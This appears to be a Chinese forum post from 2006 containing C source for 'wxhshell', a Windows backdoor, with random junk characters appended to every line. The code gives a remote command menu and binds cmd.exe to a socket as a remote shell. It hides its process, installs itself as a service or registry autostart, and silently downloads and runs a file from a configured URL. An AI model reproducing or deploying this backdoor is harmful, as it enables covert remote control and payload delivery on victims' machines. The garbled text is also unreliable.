    switch(cmd[0]) { JY$;m3h  
  yRt7&,}zL  
  // 帮助 MkM`)g 5  
  case '?': { #X0Y8:vj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5zH_yZ@+  
    break; 3/8<dc  
  } Y5<W"[B!  
  // 安装 :%IB34e  
  case 'i': { ^-(DokdBn  
    if(Install()) }zrapL"9X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `|4k>5k  
    else `Cz_^>]|=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KR>o 2  
    break; 7~VDk5Z6  
    } m5cRHo<9Y  
  // 卸载 n"nfEA3{`  
  case 'r': { "FLiSz%ME  
    if(Uninstall()) i.e4<|{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I\|.WrMNi  
    else cPX^4d~9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mH )i  
    break; L!~ap  
    } j-t"  
  // 显示 wxhshell 所在路径 !'a <Dw5  
  case 'p': { @R;&PR#5  
    char svExeFile[MAX_PATH]; i\kDb=  
    strcpy(svExeFile,"\n\r"); K8h\T4  
      strcat(svExeFile,ExeFile); W?du ]  
        send(wsh,svExeFile,strlen(svExeFile),0); d/\ajQ1::  
    break; !'>,37()  
    } +(h{ 3Y|  
  // 重启 $rPQ%2eF4  
  case 'b': { 9yj'->dL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XjTu`?Na;  
    if(Boot(REBOOT)) NBA`@K~4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MaZS|Zei[  
    else { FDuIm,NI  
    closesocket(wsh); iK8jX?  
    ExitThread(0); [ic%ZoZ_  
    } 5JS*6|IbD{  
    break; 2fP;>0?  
    } Ij:yTu   
  // 关机 N: 5 N}am  
  case 'd': { d1 lxz?r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;dTxQ_:  
    if(Boot(SHUTDOWN)) bl#6B.*=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jwheJ G  
    else { v(P <_}G  
    closesocket(wsh); m1M6N`f  
    ExitThread(0); 6+:;M b_S  
    } 8qoA5fW>  
    break; z<8VJZd  
    } Ei89Ngp\}  
  // 获取shell 3Qu-X\  
  case 's': { D0h6j0r 5  
    CmdShell(wsh); C{,Vk/D-0  
    closesocket(wsh); T75N0/teS  
    ExitThread(0); 4K,S5^`Gx  
    break; $}=r 45e0K  
  } M%7|7V<o)^  
  // 退出 AsI.8"  
  case 'x': { 'a"Uw"/p[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uYijzHQyD  
    CloseIt(wsh); 3!i{4/  
    break; 3=%G{L16-  
    } '30JJ0  
  // 离开 w^}* <q\  
  case 'q': { 2%) ~E50U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @)@tIhw  
    closesocket(wsh);  gOy{ RE  
    WSACleanup(); o Va[  
    exit(1); bl\;*.s'  
    break; :bXTV?#0  
        } l)V646-O,~  
  } XY<KLO%  
  } o8S P#ET"n  
\p!m/2  
  // 提示信息 l|M|;5TW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Ggn2 X  
} _WI~b  
  } ZHCrKp  
iDYm4sY  
  return; (R(NEN  
} Bk5ft4v-  
i*mI-l  
// shell模块句柄 Q+Eqaz`  
int CmdShell(SOCKET sock) =nlj|S ~3  
{ ,_K:DSiB  
STARTUPINFO si; Uh'W d_?  
ZeroMemory(&si,sizeof(si)); >2NsBS(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fzz9BEw(i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; & d* bQv$  
PROCESS_INFORMATION ProcessInfo; UU ' 9  
char cmdline[]="cmd"; Y]i:$X]C?X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W9{y1,G9  
  return 0; z2q!_ ~  
} kH=qJ3Z  
/9| 2uw`  
// 自身启动模式 _S CY e  
int StartFromService(void) 4I2#L+W  
{ r>G||/Z  
typedef struct R S] N%`]  
{ kD6Iz$tr  
  DWORD ExitStatus; wV,=hMTd&\  
  DWORD PebBaseAddress; qJw\<7m  
  DWORD AffinityMask; 2FGCf} ,  
  DWORD BasePriority; ?i}wm`  
  ULONG UniqueProcessId; 2~h Q   
  ULONG InheritedFromUniqueProcessId; s:I 8~Cc  
}   PROCESS_BASIC_INFORMATION; JC}T*h>Ee  
6mjD@  
PROCNTQSIP NtQueryInformationProcess; `0-i>>  
5'_:>0}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kqGydGh*"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u3sr"w&  
m`jGBSlw_  
  HANDLE             hProcess; l I2UpfkBP  
  PROCESS_BASIC_INFORMATION pbi; l>)+HoD  
%m$t'?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &09G9GsnQ  
  if(NULL == hInst ) return 0; 7>-99o^W  
l s%'\}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6L2Wv5C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )2r_EO@3HP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m*v@L4t( 1  
VYrs4IFT$  
  if (!NtQueryInformationProcess) return 0; A$?o3--#]G  
n%s$!R- \  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2(R{3E4.  
  if(!hProcess) return 0; g^^^fKUp)  
b)T6%2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~}Z{hs)  
$=Tq<W*c  
  CloseHandle(hProcess); @FN1o4&3  
51'V[tI;8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M* dou_Q  
if(hProcess==NULL) return 0; 9W j9=  
%t$)sg]  
HMODULE hMod; #:Ukv?  
char procName[255]; {3 >`k.w  
unsigned long cbNeeded; ,fj~BkW{  
KC54=Rf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3) XS^WG  
ca%XA|_J  
  CloseHandle(hProcess); EDg; s-T=  
,|w,  
if(strstr(procName,"services")) return 1; // 以服务启动 Wr,pm#gl6  
Qk&6Z%  
  return 0; // 注册表启动 fg GTm:   
} )XYCr<s2"  
/1r {z1pv\  
// 主模块 l Ng)k1  
int StartWxhshell(LPSTR lpCmdLine) ]K<7A!+@@p  
{ H)K.2Q  
  SOCKET wsl; oB+@05m8  
BOOL val=TRUE; ]Y f8  
  int port=0; pH0MVu(W  
  struct sockaddr_in door; v&`n}lS  
^{-Z3Yxd  
  if(wscfg.ws_autoins) Install(); &p=(0$0&-  
+lJD7=%K]Z  
port=atoi(lpCmdLine); +^a@U^V  
MU1T="N^+  
if(port<=0) port=wscfg.ws_port; ShOB"J-  
%i&\ X[  
  WSADATA data; RG- ,<G`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ST\d -x  
T"E%;'(cp)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3.%jet1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PH!rWR  
  door.sin_family = AF_INET; C0L(ti;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yI's=Iu`  
  door.sin_port = htons(port); l+?sR<e?!  
6Q`7>l.|?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fjS#  
closesocket(wsl); kFi=^#J{  
return 1; 8+~'T|  
} ;5}"2hU>  
G)%r|meKGB  
  if(listen(wsl,2) == INVALID_SOCKET) { "=0JYh)%_  
closesocket(wsl); !XY}\zKq  
return 1; J#G\7'?{  
} x%RE3J-  
  Wxhshell(wsl); jDW$}^ 6  
  WSACleanup();  j g_;pn  
(@xr/9:i  
return 0; S#|5&SR  
|l,0bkY@&  
} wE_#b\$=b  
9bD ER  
// 以NT服务方式启动 a6g+"EcH#'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (M%ZSF V  
{ +VHo YEW  
DWORD   status = 0; OWmI$_L  
  DWORD   specificError = 0xfffffff; QC+BEN$  
58Z,(4:E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _i0,?U2C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7[(<t+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G3t\2E9S  
  serviceStatus.dwWin32ExitCode     = 0; `R:HMO[ow  
  serviceStatus.dwServiceSpecificExitCode = 0; 9Oc(Gl5az  
  serviceStatus.dwCheckPoint       = 0; - [7S.  
  serviceStatus.dwWaitHint       = 0; h>n<5{zqM  
k7bfgb {  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3 yM!BTlX  
  if (hServiceStatusHandle==0) return; "C]_pWk  
_^Q =n>G  
status = GetLastError(); $9<P3J 1  
  if (status!=NO_ERROR) {c=H#- A  
{ &fwb?Vn4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u]t#Vf-$u  
    serviceStatus.dwCheckPoint       = 0; N#vV;  
    serviceStatus.dwWaitHint       = 0; ;3N>m| ?D=  
    serviceStatus.dwWin32ExitCode     = status; m H&WoL<K  
    serviceStatus.dwServiceSpecificExitCode = specificError; h?&S*)1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ],Y+|uX->  
    return; gOn^}%4.I  
  } (%|L23  
8MCSU'uQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OyTp^W`&  
  serviceStatus.dwCheckPoint       = 0; Y_M3-H=0  
  serviceStatus.dwWaitHint       = 0; qF4pTQf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fvw&y+|y!  
} :JG2xtn  
EP]OJ$6I  
// 处理NT服务事件,比如:启动、停止 l1}HJmom  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o%?~9rf]]  
{ O`='8'6zW\  
switch(fdwControl)  c|~f[  
{ 8Sg :HU\  
case SERVICE_CONTROL_STOP: WJw %[_W  
  serviceStatus.dwWin32ExitCode = 0; tfq; KR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ dZD2e4  
  serviceStatus.dwCheckPoint   = 0; qeoj  
  serviceStatus.dwWaitHint     = 0; "z ;ky8  
  { ;O * o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GZNfx8zsY+  
  } ^+Stvj:N  
  return; t+ O7dZt%r  
case SERVICE_CONTROL_PAUSE: l|~SVk|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -hpMd/F  
  break; c!>",rce  
case SERVICE_CONTROL_CONTINUE: T\$r|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ih5F\eM  
  break; MNsgD3  
case SERVICE_CONTROL_INTERROGATE: Ed&M  
  break; ;p2a .P  
}; 4Awl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$5nqaK?  
} ? Glkhf7(  
Lw #vHNf6  
// 标准应用程序主函数 <LOas$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ] iVoF N}^  
{ Rac4a@hZ  
>-<7 r?~  
// 获取操作系统版本 9_\1cSk'  
OsIsNt=GetOsVer(); >&2n\HR\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %^66(n)  
:TN^}RML  
  // 从命令行安装 p+d?k"WN?  
  if(strpbrk(lpCmdLine,"iI")) Install(); k6W  [//  
'Gds?o8  
  // 下载执行文件 \H$j["3  
if(wscfg.ws_downexe) { %4HpTx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V/i7Zh#2:  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Typ_Cs  
} vaUUesytt  
0`l(c  
if(!OsIsNt) { E7UYJ)6]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qg4g(0E@  
HideProc(); @+ U++  
StartWxhshell(lpCmdLine); :6X?EbXhK  
} L BP|  
else 0'.7dzz  
  if(StartFromService()) YkbZ 2J*-  
  // 以服务方式启动 (xhV>hsA  
  StartServiceCtrlDispatcher(DispatchTable); # ~T K C|G  
else k->cqtG  
  // 普通方式启动 4mJ[Wr\y  
  StartWxhshell(lpCmdLine); d 1bx5U  
#-Nc1+gu   
return 0; >@NGX-gp  
}
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只看该作者 1 发表于: 2006-10-10
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